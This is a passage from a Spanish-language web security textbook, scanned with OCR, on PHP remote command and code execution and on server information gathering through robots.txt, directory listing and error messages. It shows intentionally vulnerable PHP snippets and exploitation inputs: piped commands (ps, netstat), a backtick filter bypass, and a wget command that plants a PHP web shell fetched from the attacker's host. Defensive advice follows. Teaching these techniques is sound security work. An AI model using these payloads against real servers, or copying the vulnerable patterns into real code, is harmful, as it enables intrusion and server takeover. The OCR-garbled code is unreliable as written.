Execution. Es momento de ver ejemplos reales de aplicaciones
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vulnerables y, por supuesto, convertirnos en atacantes por un rato para
conocer como explotar tales fallas. Nuestro objetivo sera obtener la
mayor cantidad posible de informacién sobre el servidor y, finalmente,
apoderarnos de él.

El ataque como defensa

Saber atacar es la mejor defensa. Si nos ponemos en la piel del
atacante comprenderemos las técnicas utilizadas para explotar las
fallas de seguridad mencionadas, y a la vez, descubrir o idear cémo
evitar que sucedan.

A continuacion analizaremos ejemplos realistas de RCE con cada una
de las funciones aprendidas en las secciones anteriores del capitulo. En
los diversos escenarios, iremos obteniendo informacién util hasta, por
fin, conseguir el control total del servidor web.

Quiénes somos y donde estamos

Primer escenario: una aplicacién cuya funcion es realizar un ping a
la direccion IP que se le indique. Hay muchas herramientas online que
cumplen funciones de este tipo. Vamos a imaginar que el cédigo de una
de ellas es similar al siguiente:

<?php

error_reporting(0);

if(isset($_POSTL'ip’ DN
$direccionIP = $_POSTL'ip'];
$ejecutar = “'ping “.$direccionIP;
system($ejecutar);

}

7>

Analisis del cédigo vulnerable a RCE: La direccion IP se asigna a la
variable $direccionIP mediante un formulario que trabaja por método
POST. Algo importante a tener en cuenta para realizar una futura
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explotacion es que la variable $ejecutar concatena la palabra ping a la
direccion IP recibida, lo que significa que siempre tendra que llevarse a
cabo tal actividad, ya que no es posible editar el codigo fuente y borrar
el ping. Por ultimo, se ejecuta la tarea mostrando el resultado en
pantalla a través de la funcion system().

DIRECCION IP:
18657.187.150  Ping! |

Resultado:

Haciendo ping a 186.57.187.150 con 32 bytes de datos:
Respuesta desde 186.57.187.150: bytes=32 tiempo=2ms TTL=64
Respuesta desde 186.57.187.150: bytes=32 tiempo=4ms TIL=64
Respuesta desde 186.57.187.150: bytes=32 tiempo=2ms TIL=64
Respuesta desde 186.57.187.150: bytes=32 tiempo=2ms TTL=64

Estadjsticas de ping para 186.57.187.150:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y wvuelta en milisegundos:
Minimo = 2ms, M ximo = 4ms, Media = Zms

Figura 9. Aplicacion vulnerable a RCE, encargada
de realizar un ping a la direccion IP que se le indique.

Hemos llegado a la parte mas interesante. Explotaremos la aplicacion
vulnerable a RCE y obtendremos los primeros datos sobre el servidor
web: quiénes somos y donde estamos.

Como bien dijimos, el ping es inevitable; se realizara de todas
maneras. Entonces, para ejecutar el comando que queremos, debemos
hacer uso de las mencionadas pipes o tuberias (]). Podemos hacer una
prueba en nuestra propia computadora, ejecutando un ping seguido del
comando que queremos, mediante el uso de una pipe (como podemos
ver en la figura 10).

Damn Vulnerable Web Application (DVWA) es una aplicacion web disefiada intencionalmente con una

gran cantidad de vulnerabilidades. Ofrece, asi, un entorno de aprendizaje para poder llevar a la préctica

conocimientos sobre vulnerabilidades web, de manera legal, ya que no se compromete ningtn sistema.
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File Edit View Temminal Help

Figura 10. Practicamos en nuestra computadora el uso
de pipes antes de utilizarlas en la aplicacion web vulnerable a RCE.

Ahora si, volvemos a la aplicacién vulnerable a RCE. En primer lugar,
ejecutaremos el comando uname -a para conocer frente a qué sistema
nos encontramos y, por otro lado, el comando pwd para saber cual es el
directorio actual. También podemos ejecutar un Is para ver las carpetas
y archivos que se encuentran alojados en el servidor web. En resumen:
tenemos una terminal abierta dentro de nuestro objetivo. En la Figura
11 observamos los resultados obtenidos en este caso.

DIRECCION IP:

Resultado:

———— = ———

DIRECCION IP:

Resultado:

Figura 11. En la ventana superior, la salida del comando
uname -a, Y en lainferior, la salida del comando pwd.
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Procesos y servicios

Segundo escenario: un pequeio script que forma parte de una
aplicacién compleja, con la funcion de solicitar un directorio al que
debe desplazarse y mostrar la nueva ubicaciéon en pantalla.

<?php

error_reporting(0);

$path = $_GET['path’];

$comando = “cd “.$path. * & & pwd”;
$directorio = exec($comando);

print $directorio;

7>

Analisis del cédigo vulnerable a RCE: asignamos el nuevo directorio
mediante la URL, ya que el script utiliza GET como método de envio de
datos. Al igual que el ejemplo anterior, el comando se ejecutara siempre,
por lo que usaremos pipes en la futura explotaciéon. La funcién exec() no
muestra la salida en pantalla, por lo cual se agrega la linea print al final
de la aplicacién, de modo que se imprima la nueva ubicacién.

IRCE I+

(— 192.168.1.103/WebsVulnerables/path.php?path=

/opt/servidor/www/sitio/

Figura 12. Aplicacion vulnerable a RCE. Se desplaza
al directorio asignado y luego muestra la ubicacion en pantalla.

Explotacion del RCE: seguimos obteniendo informacién
interesante sobre el servidor web. Esta vez, consultaremos la lista
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de procesos mediante el comando ps —ax y utilizaremos una pipe,
como en el caso anterior, de modo que la URL quede de la siguiente
manera: sitio.com/rce.php?path=/ruta | ps —-ax.

Dentro de la aplicaciéon vulnerable el comando quedaria similar
a cd /ruta | ps —-ax && pwd, por lo que al final de la lista imprimira
también el directorio actual.

ACK +
& e a I

3

Figura 13. Mediante un RCE podemos obtener todo
tipo de informacidn util sobre el servidor web.

Conexiones del servidor

Tercer escenario: un script que forma parte de otra
aplicacion. Recibe un archivo mediante la URL y muestra
su contenido en pantalla.

Una aplicacion vulnerable a RCE puede poner en peligro todo el servidor web. En resumen, funciona

como si tuviéramos una terminal abierta dentro de nuestro objetivo; quizas no tengamos permisos de
administracion, pero eso es algo que podemos modificar. Ademas, podemos instalar un backdoor o

puerta trasera para los futuros accesos.
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<?php

error_reporting(0);

$nombreArchivo = $_GET[‘archivo’];
$verArchivo = “cat “.$nombreArchivo;
passthru($verArchivo);

7>

Analisis del codigo vulnerable a RCE: nuevamente, asignamos el
archivo que mostrara su contenido por método GET, es decir, mediante
la URL. Utilizaremos pipes para ejecutar el comando que deseamos.
Notemos que, esta vez, no es necesaria la linea print, ya que la funci6on

passthru() muestra por si sola la salida en pantalla.
Jres—

& sk 4] o

Figura 14. Aplicacion vulnerable a RCE,
que muestra en pantalla el contenido de un archivo.

Explotacion del RCE: esta vez, el objetivo es obtener las
conexiones del servidor web, para lo cual necesitaremos ejecutar el
comando netstat —putan. Debemos tener en cuenta que es necesario
poseer permisos de root para visualizar la salida de este comando.
Indicamos los parametros por URL de la siguiente manera: sitio.com/
rce.php?archivo=unarchivo | netstat —putan. Observaremos algo similar a
lo que muestra la Figura 15.
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Address State PID/Program name

Figura 15. Obtenemos las conexiones del servidor
web mediante la explotacion de un RCE.

Control total

Cuarto escenario: una aplicacion que se encarga de extraer un
archivo comprimido en zip, en el directorio que se le indique.

<?php

error_reporting(0);

$zip_file = archivo.zip;

$dir_ext = $_POSTIdir'];
shell_exec(“unzip $zip_file $dir_ext”);
7>

Analisis del codigo vulnerable a RCE: observemos que se solicita
al usuario un directorio desde el cual extraer el contenido del
archivo zip. A nosotros no nos importa ni el directorio ni el archivo
zip, pero si el vector de ataque que estamos teniendo ya que,
utilizando una pipe luego de indicar un directorio, podemos ejecutar
el comando que queremos. La funcién shell_exec() no muestra la
salida en pantalla pero, para el uso que le daremos esta vez, no sera
necesario visualizar nada.
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Explotacion del RCE: aburridos de solamente obtener informacion,
ahora vamos por el servidor completo. Es mucho mas facil de lo que
parece; de hecho, si contamos con permisos de root, ya tenemos el
control del objetivo. Pero, siendo que esta manera es incomoda, nuestro
proximo paso sera descargar una PHP shell dentro del servidor web.

Subimos nuestra shell favorita a cualquier host que tengamos a
disposicion, y ejecutaremos el comando wget seguido de la direccién
URL donde tengamos subida la PHP Shell, para que se descargue dentro
del directorio donde estemos situados. La explotacion (que esta vez es
mediante el método POST) quedara de la siguiente manera: /directorio |
wget “url de nuestra PHP Shell”.

Figura 16. Al descargar una PHP shell dentro
del servidor web, obtenemos el control comodamente.

Informacion por evall)

Ya hemos estudiado diversos escenarios utilizando las cuatro
funciones PHP que permiten la ejecucion de comandos. No nos
olvidemos de Remote Code Execution, la vulnerabilidad que explota
fallas en el uso de eval().

A continuacién presentaremos un escenario simple y
explotaremos el problema, aprovechandolo para obtener informacion
util acerca del servidor web.
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<?php
$sintax = $_POSTI['codigo’];
$check = eval($sintax);
if($check == FALSEX

echo “EI codigo no es correcto”;
}

7>

Analisis del codigo vulnerable: la aplicaciéon cuenta con un area
de texto donde se introduce el codigo PHP para verificar su
funcionamiento. En caso de ser incorrecto, devolvera un mensaje de
aviso. El ejemplo es simple pero nos ayudara a comprender como
funciona la vulnerabilidad de Remote Code Execution y hasta donde
podria llegar un atacante si se encontrara con un fallo de este tipo en
alguna de nuestras aplicaciones web.

Explotaciéon del RCE: la aplicaciéon no tiene ningtn tipo de seguridad
sobre el codigo que se evalia, asi que un atacante puede “verificar”
co6digo PHP que imprima en pantalla informaciéon que comprometa el
sistema. Visualicemos el phpinfo del servidor web, escribiendo phpinfo()
en el area de texto donde se introduce el codigo a verificar.

—

i +
& @ woa L] A/ B

CODIGO A ANALIZAR:

Sawan 0wy W SAESPC 11 0uidd TOT (Winchiws T Utirite E0en Serace Pace 1)

bt L Fua 3 3012 02831
Compier USVOR (Valual Cr- 2008)
Arctaecme Ll

e - iy : “—emmye-
G ORY DA EIN RN MUY @ 000 TIT wEnOa 00w
. Toadn, shated —wit-oabeC \he-

ot o
SN LT AN U W B Y NN O kT s ALY
SRl e e Bl - enWKTS
Safver AP Apache I 1 Hende
Vi veclory |snatia

Figura 17. Consultar phpinfo() es una de las tantas
cosas que un atacante puede lograr explotando un RCE por eval().
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Las posibilidades son infinitas, ya que incluso podriamos llegar
a ejecutar una PHP shell completa. Quizas el area de texto tenga
un limite maximo de caracteres pero, como vimos en el Capitulo 5,
es algo que podemos eliminar muy facilmente. Dicho de este modo,
cuando se trata de explotar vulnerabilidades de tipo RCE el limite
es nuestra imaginacion.

Problema dificil
de solucionar

Tal como lo advierte el sitio oficial de PHP -y como ha quedado
claro en este capitulo- las funciones system(), exec(), passthru(),
shell_exec() y eval() suponen un enorme peligro si se utilizan con
parametros asignados por el usuario. Por lo tanto, se recomienda
directamente no usarlas de esta manera. Si en la aplicacién, sin
embargo, sigue siendo necesario interactuar con el usuario desde
este tipo de funciones, hay un problema en puerta.

En los capitulos anteriores, donde se trataron vulnerabilidades
basadas en fallas de seguridad sobre el uso de funciones PHP (como
include() y requiere()), se utilizaron filtros para solucionar el asunto.
En este caso los filtros también son aplicables, pero puede que no
brinden completa seguridad.

Falsa sensacion de seguridad

Analicemos un complejo filtro de RCE, programado para eliminar los
caracteres utilizados por las funciones nombradas y también los que

Nuevamente, el limite es nuestra imaginacion. Consultar phpinfo es una de las tantas opciones (tiles con

que contamos a la hora de explotar esta falla. Lo cierto es que tenemos a disposicion la posibilidad de
ejecutar en el servidor cualquier codigo PHP que queramos, incluso una shell completa.

www.redusers.com &«



218

»

USERS| 7. EJECUCION REMOTA DE CODIGO

podrian formar parte de una codificacién. Deberia evitar la ejecucion
de comandos mediante el uso de system(), o similares, y a la vez no
permitir ejecutar lineas codificadas, que podrian tener la intencién de
evadir el mecanismo de proteccion.

<?php

$ejecutar = $_GET['‘cmd’];

$ejecutar=preg_replace (“/D\(W\\%\&\S\\/1/” ", $ejecutar);
eval($ejecutar);

7>

Cualquier caracter necesario para ejecutar comandos sobre el servidor
sera eliminado. Las comillas, los paréntesis, los corchetes y demas no
estan permitidos. Aun asi, aunque parezca imposible, podemos evadir el
filtro y ejecutar los comandos que queramos, mediante el operador de
comillas invertidas (") que funciona en PHP exactamente igual que la
funcién shell_exec(). Por lo tanto, el filtro queda evadido: sitio.com/rce.
php?cmd=echo ’Is’;. Como observamos, anteponemos un echo para poder
visualizar la salida del comando en pantalla.

Figura 18. Incluso el filtro mas complejo puede ser evadido
si utilizamos el operador de comillas invertidas.
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Entonces, ;como protegernos? Sera necesario que validemos
muy bien los datos, antes de pasar a la accion. El sitio web de PHP
recomienda el uso de escapeshellcmd() para escapar una cadena de
comandos completa, o escapeshellarg() para escapar un argumento
Unico. Por ejemplo, la funciéon escapeshellcmd() antepone una barra a
los siguientes caracteres: #&;’|*?~<>A()[1{}$\, \x0A y \xFF. La aplicamos:

<?php

$ejecutar = $_GET['cmd’];
$escape=escapeshellcmd($ejecutar);
system($escape);

7>

Como conclusion: al utilizar estas funciones asegurémonos de validar
los datos que asigne el usuario y, por supuesto, filtremos los caracteres
que vimos a lo largo del articulo. Por otro lado, es sumamente 1til tener
presentes las buenas practicas descriptas en el desarrollo de codigo
seguro de OWASP (www.owasp.org). También podemos emplear
frameworks como Enterprise Security API (ESAPI), una coleccion
gratuita y abierta con todos los métodos que un desarrollador necesita
para construir una aplicacion web segura. Encontramos mas informaciéon
al respecto en el siguiente enlace: www.owasp.org/index.php/
Category:OWASP_Enterprise_Security_APIl/es.

Remote Command Execution y Remote Code Execution son vulnerabilidades potencialmente

peligrosas. Una aplicacién web con un fallo de este tipo puede comprometer todo el servidor. En
este capitulo quedé claro cémo se produce la vulnerabilidad de RCE, llevando a la practica distintos
escenarios donde se vieron involucradas las funciones PHP que se consideran peligrosas a la hora
de programar una aplicaciéon web segura. Analizamos un complejo filtro anti-RCE y vimos que, incluso
asi, es posible evadirlo. Debemos tener sumo cuidado a la hora de programar nuestras aplicaciones

si utilizamos estas funciones.
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Actividades

TEST DE AUTOEVALUACION

1 :Cudl es la principal diferencia entre Remote Code Execution y Remote
Command Execution?

2 Cuales son las funciones PHP involucradas en Remote Command Execution?

3 :Cuél es la funcion en la cual se basa la vulnerabilidad de Remote Code
Execution?

4 ;Qué son las pipes y como funcionan?

B ;Qué datos utiles podemos conseguir del servidor web aprovechando un RCE?

EJERCICIOS PRACTICOS

1 Programe cuatro aplicaciones que utilicen las funciones system(), exec(),
passthru() y shell_exec() y analice las diferencias entre ellas al ejecutar
un comando.

2 Programe una aplicacion que utilice la funcion eval() y visualice mediante
ella el archivo phpinfo de su servidor.

3 Programe una aplicacién vulnerable a RCE que realice un ping a la direccion IP
que reciba como parametro. Explote la falla y averigiie los procesos que
se estan ejecutando en su servidor web.

4 Descargue una PHP shell al servidor web explotando una aplicacion vulnerable
a RCE.

B Desarrolle una aplicacién segura contra las vulnerabilidades aprendidas
en este capitulo.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Datos utiles sin esfuerzo

Cuando realizamos una auditoria a una aplicacion web, debemos
tener presentes algunas técnicas muy simples pero efectivas a la hora
de recopilar informacién util sobre el objetivo.

Apuntando al descuido o desconocimiento del administrador
sobre las configuraciones de seguridad, obtendremos lo que nos
interesa casi sin esfuerzo.

Usualmente, dentro de un servidor web se
encuentran archivos que contienen informacioén

CONFIGURAR BIEN sobre las caracteristicas y configuraciones

LAS APLICACIONES de su sistema. Si bien esto es completamente
normal, algunos de ellos no son necesarios o, si

EVITA RIESGOS DE lo son, puede que no estén lo suficientemente

SEGURIDAD DEL ocultos a la vista de posibles atacantes e
incluso contengan mas informacién de la que

SISTEMA deberian. Por otro lado, como mencionamos en

un principio, utilizar las configuraciones por

defecto de las aplicaciones que instalemos
en nuestro servidor puede ocasionar problemas de seguridad.

Debido a que los atacantes siempre tienen en cuenta estas

cuestiones, en este capitulo prestaremos especial atencion a los
errores mas comunes que pueden cometerse al configurar aplicaciones.
Revisaremos configuraciones inseguras y conoceremos consejos utiles
a la hora de programar nuestras propias aplicaciones, para evitar
proporcionar al hacker informacién comprometedora sin que deba
hacer esfuerzo alguno.

www.sitio.com/phpinfo

. phpinfo .

Hacker Servidor web

Figura 1. Muchos servidores web permiten acceder
facilmente a informacion de gran utilidad para un ataque.
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Robots a la vista

Los protagonistas de esta seccion seran los robots, crawlers o
araias de internet. Sean buenos o malos, todos comparten una funcién
principal: analizar el contenido de las paginas web que visitan. Si bien
esto puede sonar inofensivo, decimos que los hay buenos y malos
porque la clasificaciéon depende de la entidad a la que pertenezcan, de
sus caracteristicas y de lo que hagan con la informacién que recopilan.

Sl DOC gV PDF

web )

\ljl/ Pagina
Imagen ,?'\? +——— HTML web

Figura 2. Los crawlers o arainas por lo general parten de un directorio
web para recorrer todas las paginas, saltando de enlace en enlace.

Los robots considerados buenos son aquellos que pertenecen a
entidades como Google u otros buscadores, y se encargan de analizar la
informacion del sitio web para catalogarla y mostrarla en los resultados
de busqueda de una forma adecuada. El objetivo final es ofrecer a los
usuarios un resultado lo mas aproximado posible al que han buscado.

Por otro lado, estan los robots o crawlers malos, que analizan
el contenido del sitio web en busca de correos electronicos u otra
informacion util para spam.

Otro item en la clasificacion de los robots en buenos y malos es
el acatamiento a las directivas del archivo robots.txt: los primeros las
respetan, mientras que los ultimos suelen pasarlas por alto.

;Qué clase de directivas tiene este archivo? Los webmasters le
dan varias utilidades, como impedir el acceso a determinados robots,
eliminar contenido duplicado, asignar un sitemap, privatizar contenido
para que no aparezca en los listados de buisqueda, etcétera.
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U Mozilla Firefox

i http://localhost/robots.tbdt [ + ‘
6' ¥ localhost/robots.txt

@ Disable” & Cookies~ 7 C55 D Forms~ (@& Images~ @ Information~ ﬂ Miscellaneous~ /’ Qutliner f Resize~ x Tools [ View Sourcer |1, Optioi

User-agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /2012_old/
Disallow: farchivo/
Disallow: /descargas/
Disallow: /SHEI/
Disallow: /firmas/
Disallow: /markup/
Disallow: /phpmyadmin/
Disallow: /publicidad/

Figura 3. El archivo robots. txt, entre otras acciones,
especifica directorios a los que el crawler no debe acceder ni indexar.

Si el archivo robots.txt esta presente dentro de un sitio puede ser
un gran aliado en la bisqueda de informacién. Teniendo en cuenta las
directivas que se mencionan, podemos imaginar que bajo el parametro
Disallow se encuentran las direcciones URL de zonas privadas, archivos
y directorios con informacién de gran interés para un atacante.

Consultar el archivo robots.txt puede facilitar la tarea de hallar el
panel de administracién de un sitio (algo que normalmente resulta
tedioso, incluso cuando ya se poseen los datos de acceso).

Como hemos explicado anteriormente, dentro de este simple
documento de texto se especifican aquellos directorios que el robot
no debe indexar, y claramente uno de ellos podria ser el acceso a la
administracion del sitio.

Los robots de los buscadores mas conocidos de internet son muy conocidos y tienen su propio nombre:

por ejemplo, Slurp es el crawler de Yahoo! y BingBot pertenece al buscador Bing. Por su parte, Google
cuenta con mas de uno: el mas conocido es GoogleBot, pero también existen GoogleBot-Image para
indexar imagenes y Mediapartners-Google para Adsense.

» www.redusers.com
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Ahora bien, si somos un atacante, ;cOmo nos convertimos
en un robot y obtenemos todas las paginas del sitio, incluyendo
los directorios que no deberiamos encontrar?

Uso de un crawler

Si bien el archivo rehots.txt puede proporcionar informacion
muy interesante, no siempre esta presente en el servidor. Si, aun asi,
queremos obtener un mapeo completo del sitio (incluyendo algunos de
los directorios privados), tendremos que convertirnos en robots mediante
el uso de herramientas programadas especificamente para esto.

El crawler eNYe Spider es una excelente opcién, que podemos
descargar gratuitamente desde la pagina de eNYe Sec, www.enye-sec.
org/rel/enye-spider. A la manera de un web crawler, analiza el sitio
indicado y devuelve como resultado su estructura. Ademas, alerta
sobre posibles archivos vulnerables, y permite usar un servidor proxy
y guardar el analisis en nuestra computadora.

Inicio  Advisories English

eNYe Sec S0MOS un grupo de personas
nieresadas por la segunidad informatica, sin
nINGGN Bpo de animo de ko

Nuestra intencidn es publicar mformacion para
Programa que analiza remotamente una web sacando 3 estructura de ficheros y arectonas intentar colaboranayudar a ia comunidad. a 1a

vamos. 10 Gue €5 Un spider 0 web crawler vez que nosotros mismos aprendemos con ello

Esta disefiado para que compruebes [3s vulnerabilidades de tu web & intiuye aigunos extras
posibiidad de usar un servidar proxy, discrmina los fitheros que aceptan parametros por GET o
POST. permite escribir anotaciones sobre 108 eSCANEO0S, Navegador web inlegrado y permile

Comentarios recientes

guardar los anatsis en disco 1H en Eniaces

RaiSe en Eniaces

Descargee | Ver captura de pantalla adetH en -

Ebgustas
Entradas recientes

Basekit bug X3S AQvISD

Figura 4. Una de las herramientas para obtener
la estructura de un sitio web es el crawler de eNYe Sec.

Una vez descargado e instalado eNYe Spider, solo debemos insertar

la direccion URL de nuestro objetivo en el campo de texto de la esquina
superior izquierda (y debajo, opcionalmente, un proxy) y luego
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presionar el boton Comenzar. A medida que el crawler los encuentre,
apareceran los documentos y directorios que contiene el sitio web.
También podemos utilizar el navegador integrado, a la derecha, para
ver los archivos desde el propio crawler.

’

i
iP
il
[ 4
|

Oresete s no wane
[

¥ Fospeneme amebie
Enela formudaney

 Casandan g

Camanaans ¢ Marsgador

Figura 5. Obtenemos un mapeo completo
del sitio web que decidimos analizar.

Otra alternativa es consultar las opciones disponibles en la suite
Backtrack o en Kali-Linux (evolucion de Backtrack). Dentro de la
categoria Web crawlers encontraremos mas de una herramienta, con
diferentes parametros y opciones para conseguir esta informacion.
Algunas pueden enfocarse en encontrar formularios y accesos, hasta
hallar vulnerabilidades en los archivos del sitio.

Acceso a directorios privados

Una vez definida la estructura del sitio, con sus archivos y
carpetas, debemos fijarnos a cuales podemos acceder sin que se
nos muestre un error 403 de permisos. Es bastante frecuente que los
administradores dejen habilitado el listado de directorios, dandonos
la posibilidad de acceder facilmente a todo el contenido del sitio. La
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manera de comprobar si el servidor esta mal

configurado es intentar acceder a un directorio ES IMPORTANTE NO
en lugar de un archivo especifico. Si el DEJAR HABILITADO
administrador dejo habilitado el listado de

directorios (error conocido por su nombre en EL LISTADO
inglés como Directory Listing), el servidor DE DIRECTORIOS

mostrara todos los documentos de la carpeta e

incluso nos permitird navegar entre los archivos, EN EL SERVIDOR

subiendo y bajando los niveles de los directorios.

Asi, podemos navegar las carpetas y buscar

scripts o documentos con informacion interesante para utilizar
en un posterior ataque.

@ Index of /Extras - Mazifta Frefos

Index of /Estras +
€ A lochon

Dusbles K Cookiess # €55+ [J Forms: @ Images: @ Informeton [l Miscellaneouss # Cutline: Resizces J& Tools= W View Sources I Opticns*
@ id 9 P
Index of /Extras

[co) Name Last modified  Size Description

Figura 6. Se considera a Directory Listing
como un grave error de configuracion.

Configuracion segura

Si observamos este problema desde la 6ptica del administrador o
encargado de la seguridad del sitio, ;como podemos evitar el listado
de directorios? Lo que se debe hacer es afiadir una directiva en
el documento .htaccess, que prohibe el listado de contenidos. De
este modo, cuando se intente acceder a un directorio sin especificar
un archivo, el servidor mostrara un error de permisos 403,
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solucionando por completo el problema del listado de directorios.
La directiva que debemos afiadir al archivo .htaccess es: Options -
Indexes. Si por alguna razén necesitamos ver los contenidos, basta
con remplazar la directiva anterior por la siguiente: Options +Indexes.
También tenemos la posibilidad de filtrar por tipo de archivo,
especificAindolo de esta manera: IndexIgnore *.php *.mp3 (con esta
instruccion se listaran todos los archivos, excepto los de extension
.php y .mp3). Cada carpeta de nuestro sitio puede tener un
documento .htaccess con directivas diferentes.

@ 403 Forbidden - Mozl Firef
402 Fortidden +
& & tocalhont
@ Disabler & Cockiesr # €55+ [J Forms* [l Imagess @) Information [ Miscellaneous+ ./ Outliner /* Resccer X Toolss Ml View Sources |4/ Options*
n .
Forbidden

You don’t have persssion to access /Extras’ on this server

Figura 7. Alcanza con una sola linea en el archivo .htaccess
para solucionar el problema del listado de directorios.

Errores al descubierto

Intencionalmente o no, todos nos hemos encontrado alguna vez con
una pagina que, al cargar su contenido, devolvié una larga recopilaciéon
de errores. Como la mayoria de los usuarios, si no los estamos
buscando intencionalmente no les prestaremos atencion, frustrandonos
al ver la pagina con contenido deformado en lugar de verla bien.

Sin embargo, poniéndonos nuevamente en la piel del atacante, si
los errores provienen de nuestra pagina objetivo tenemos una buena
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noticia: acabamos de conseguir otro punto interesante para, como
minimo, obtener informacion util.

Los origenes de estos fallos pueden ser varios y dependen del
coédigo en cuestion. A veces se trata de errores en la conexion a la base
de datos SQL, o de un error al consultarla. Por otro lado, puede que se
esté tratando de incluir un archivo que por alguna razén ya no existe
0 cambid de ubicacion. También podria ocurrir que una funcién de la
aplicacién esté recibiendo parametros incorrectos, lo que genera un
error en la ejecucion del script.

En definitiva, los errores pueden deberse a innumerables
causas; lo importante es saber comprenderlos y tomar nota de
los datos que informan.

@ SSTEMA GESTON de IMPRESAS - Marila Firefiw

SSTEMA GESTOR e EMPRESAS +
& locathest (10 c H-
@ Duatier L Cockiess # €35 ] Forms~ G lmiges ) Informations [ Miscetaneouss o/ Outline / Resises X Tools Ml View Sources 1] Options
Warmng mysgl_coomect(y Can't coemect to local MySQL server through socket m C-'wamp' www'GDE index php on bne 2
Warrmg fe_get_contents() [function file-get-contents]. URL fle-access » disabled in the server cosfipraton in C ' wamp'waww' GDE index php on Ine 1§

Warnng: mvsql_fetch_arrav() expects parameter | to be resousce, boolean given in C'wasmp www' GDE'mdex php oa ine 56

Figura 8. Es comun encontrar paginas que muestran
errores al cargar su contenido.

- @ MAS SEGURIDAD CON .HTACCESS

El archivo ‘htaccess puede ayudarnos a mejorar la seguridad de nuestro servidor web. Permite establecer

directivas de control de acceso a las carpetas, personalizar los errores HTTP para no mostrar informa-
cion del sistema, restringir el acceso a determinadas direcciones IP, crear redirecciones y manejar la

caché, entre otras opciones importantes.
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Provocar un error

Los errores pueden aparecer sin que los llamemos vy, si no es asi,
tendremos que encontrarlos nosotros mismos. Provocarlos es facil,
pero lo dificil es hallar déonde hacerlo.

Para empezar, tendremos que observar muy bien las variaciones
en la URL al ir navegando a través del sitio e interactuando con él.
Tengamos presente que una falla no solo puede generarse por GET (es
decir, a través de la URL), sino también por POST, por lo cual debemos
analizar detenidamente el comportamiento del sitio objetivo.

En las paginas de noticias o de venta de productos suele
observarse que cada nota o item de venta tiene un identificador
numeérico, que es llamado desde la URL para imprimir en pantalla
su informacién (podremos notarlo al observar una direccién como
la siguiente: www.sitio.com/noticias.php?id=1234). El nimero
que aparece al final suele estar estrechamente relacionado con el ID
de una tabla SQL, y por lo tanto, indicar un identificador no valido
podria provocar un error.

Otro caso comun es llamar a través de la URL el archivo a ser
mostrado en pantalla, que puede ser un item del menu del sitio web
(por ejemplo, www.sitio.com/index.php?pagina=contacto.php).
Quizas no se especifique dentro del cédigo cuales son los archivos que
se permiten incluir, de modo que se intentara mostrar cualquier pagina
o documento que se indique a través de la URL. Si es asi, podremos
cambiar el archivo que se incluye por uno inexistente, logrando que la
funcion include() o require() utilizada no encuentre el documento y se
genere un error en la aplicacién.

www.sitio.com/index.php?page=inexistente

require()
Warning: [function.require]: failed (...)

Hacker Aplicacion web
vulnerable

Figura 9. Silos errores no aparecen solos deberemos,
como atacantes, provocarlos por nuestros propios medios.
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Analisis del error

De un error podemos obtener dos datos: por un lado, la
ruta completa del archivo que sufrio el error, y por el otro, la
indicacion de que hay una falla grave, que implica alguna de las
vulnerabilidades antes mencionadas. Es importante comprender
siempre por qué se produce un error y cual es la funcién afectada,
para luego considerar la posibilidad de realizar un ataque mediante
ese vector (que podria ser una explotacién de tipo inyecciéon SQL,
como veremos en el proximo capitulo). Analicemos algunos errores
que pueden surgir en una auditoria web:

Warning: require(inexistente.php) [function.require]: failed to open stream:
No such file or directory in /home/www/misitio/principal/index.php on line 4

Este caso se produce en la funcion require, al intentar incluir un
archivo invalido o inexistente, y nos informa que no se encuentra el
documento solicitado dentro del directorio de la aplicacion. Como
mencionamos antes, obtuvimos dos datos: la ruta completa de la
aplicacion web (/home/www/misitio/principal/index.php) y un posible
vector de ataque para realizar una inclusiéon de archivos (tal como
vimos en el Capitulo 6). Si se utilizaran las funciones include,
include_once o requiere_once el error se produciria igual, permitiendo
explotar la falla de la misma manera.

hitg= ! loc slhest W Tpaginaz inesntents |

€ & locahort B-
@ Duaties K Coshies # €55 [ Formse G imagess ) Iformation® [ Miscelanesus Cutfines Resises A Teols @l View Sources | Options

Warmng Se_get_contents(imnexstente) [fimction fe-get contents} faded to open stremm No such file or directory 1 C: wammp mww WebsVidnerables ¥ php on bne 4

Figura 10. La funcion file_get_contents () también
devuelve un error si recibe un archivo invalido o inexistente.
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Warning: mysql_result(): supplied argument is not a valid MySQL result
resource in /home/public_html/misitio/principal/index.php on line 13

Un error como este se produce al consultar una tabla SQL indicando
un ID no valido. El caso fue testeado sobre una aplicacién web que
presentaba la siguiente direccién: www.sitio.com/noticias.php?id=1.
Al modificar el ID por un nimero negativo (www.sitio.com/noticias.
php?id=-1234) se obtuvo como resultado el tipico error por realizar
una consulta incorrecta a la base de datos SQL. Es posible ver la ruta
completa del archivo (lo que se conoce como Full Path Disclosure)

y aparece un punto de partida para ejecutar una inyeccién SQL.

Ocultar los errores

Si bien ocultar el error no resuelve la falla, en caso de que se
produzca uno inesperado evitaremos dejar el camino libre al atacante.
Volviendo al papel del administrador de seguridad y/o programador
con intenciones de desarrollar aplicaciones seguras, tenemos un
problema por resolver: sabemos que los errores no deben quedar a
la vista, no solo por cuestiones de seguridad sino porque tampoco
es agradable para el usuario ver que la pagina se deforma.

?

www.sitio.com/noticias.php?id=-1234
- mysql()

Hacker Aplicacion web
vulnerable

Figura 11. Ocultando los errores evitaremos darle informacion al atacante
y le complicaremos la tarea de saber si la aplicacion es vulnerable o no.

A continuacién conoceremos dos maneras interesantes de resolver
la cuestién, ambas muy efectivas.

La opcion que utilicemos dependera de si estamos administrando
el sistema o si somos los desarrolladores de la aplicacién.
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Un modo de ocultar los errores es afadir una simple linea al
comienzo de cada script. La funcion error_reporting() establece qué
errores de PHP serdn notificados vy, si le asignamos como parametro
el numero cero (0), se desactivara toda notificacion:

<?php

error_reporting(0);

if (isset($_GETI‘pagina’1)){
$pag = $_GETI[‘pagina’l;

file_get_contents($pag);

}

7>

El codigo que acabamos de ver tiene un problema de seguridad muy
grave, que debe ser solucionado aplicando filtros, como hemos visto
en capitulos anteriores. La funciéon error_reporting(0) evitara que se
muestren errores cuando se intente comprobar el fallo de seguridad
mediante valores incorrectos, pero en el caso de que se solicite ver
un documento existente lo mostrara sin ningin problema.

L_:{ CAwamp\wwwi\WebsVulnerables\Ifi.php - Notepad++

Archivo Editar Buscar Vista Codificacion Lenguaje Configuracion Macro Ejecutar Piugins Ventana

